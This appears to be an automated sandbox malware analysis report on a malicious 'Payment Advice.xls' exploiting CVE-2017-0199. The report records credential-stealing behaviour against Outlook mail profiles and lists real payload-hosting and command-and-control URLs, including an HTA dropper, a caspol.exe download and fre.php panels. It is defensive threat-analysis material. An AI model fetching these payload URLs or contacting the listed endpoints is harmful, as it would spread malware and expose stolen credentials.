Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: PopPassword		28_2_0040D069
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: SmtpPassword		28_2_0040D069

Source: Yara match	File source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 Exploitation for Client Execution	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	15 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	2 Credentials in Registry	14 System Information Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	31 Obfuscated Files or Information	Security Account Manager	2 Security Software Discovery	SMB/Windows Admin Shares	2 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	11 Email Collection	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment Advice.xls	21%	ReversingLabs	Win32.Exploit.CVE-2017-0199
Payment Advice.xls	25%	Virustotal		Browse
Payment Advice.xls	100%	Avira	TR/AVI.Agent.xoswb
Payment Advice.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Local\Temp\~DF6CCF4596F2406470.TMP	100%	Avira	TR/AVI.Agent.xoswb
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Roaming\caspol.exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\caspol.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://crl.entrust.n?	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htavf	0%	Avira URL Cloud	safe
http://192.3.243.136/	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionk.hta	0%	Avira URL Cloud	safe
94.156.177.41/simple/five/fre.php	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta..	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion/k	0%	Avira URL Cloud	safe
https://provit.uk/~	0%	Avira URL Cloud	safe
https://provit.uk/	0%	Avira URL Cloud	safe
http://192.3.243.136/55/caspol.exe	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htadf	0%	Avira URL Cloud	safe
http://192.3.243.136/55/caspol.e	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaZf	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaC:	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion2	0%	Avira URL Cloud	safe
http://192.3.243.136/55/caspol.exep	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionvc	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion0k	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion	0%	Avira URL Cloud	safe
https://provit.uk/J	0%	Avira URL Cloud	safe
http://94.156.177.41/simple/five/fre.php	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaV8	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta38	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta=8	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionket	0%	Avira URL Cloud	safe
https://provit.uk/:	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaHf	0%	Avira URL Cloud	safe
http://192.3.243.136/55/caspol.exe6	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta$1	0%	Avira URL Cloud	safe
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion?	0%	Avira URL Cloud	safe
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaht	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
provit.uk	198.244.140.41	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	true	Avira URL Cloud: safe	unknown
94.156.177.41/simple/five/fre.php	true	Avira URL Cloud: safe	unknown
http://192.3.243.136/55/caspol.exe	true	Avira URL Cloud: safe	unknown
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion	false	Avira URL Cloud: safe	unknown
http://kbfvzoboss.bid/alien/fre.php	false		high
http://alphastand.top/alien/fre.php	false		high
http://alphastand.win/alien/fre.php	false		high
http://alphastand.trade/alien/fre.php	false		high
http://94.156.177.41/simple/five/fre.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://192.3.243.136/	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionk.hta	mshta.exe, 00000004.00000002.432158239.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://provit.uk/~	mshta.exe, 0000001D.00000003.511689770.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta..	mshta.exe, 00000004.00000003.430428593.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430980490.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.431523218.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.n?	mshta.exe, 0000001D.00000003.511761813.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion/k	mshta.exe, 00000004.00000003.430428593.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430980490.00000000004C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511761813.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D55000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ibsensoftware.com/	rrwscqkDSNwLK.exe, rrwscqkDSNwLK.exe, 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, caspol.exe, 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://provit.uk/	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.0000000000290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.0000000000290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.0000000000290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htavf	mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000005.00000002.454706317.0000000003632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion0k	mshta.exe, 00000004.00000002.431523218.000000000049A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionvc	mshta.exe, 0000001D.00000003.506346159.0000000000240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaC:	mshta.exe, 00000004.00000002.432158239.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.0000000000240000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.0000000000240000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506294361.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.504008484.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512306912.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.0000000000240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/55/caspol.exep	powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.454706317.0000000002271000.00000004.00000800.00020000.00000000.sdmp, caspol.exe, 0000000B.00000002.470705091.0000000002361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.0000000002181000.00000004.00000800.00020000.00000000.sdmp, caspol.exe, 00000025.00000002.532965241.0000000002581000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaZf	mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htadf	mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.243.136/55/caspol.e	powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion2	mshta.exe, 0000001D.00000003.506346159.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.000000000022C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
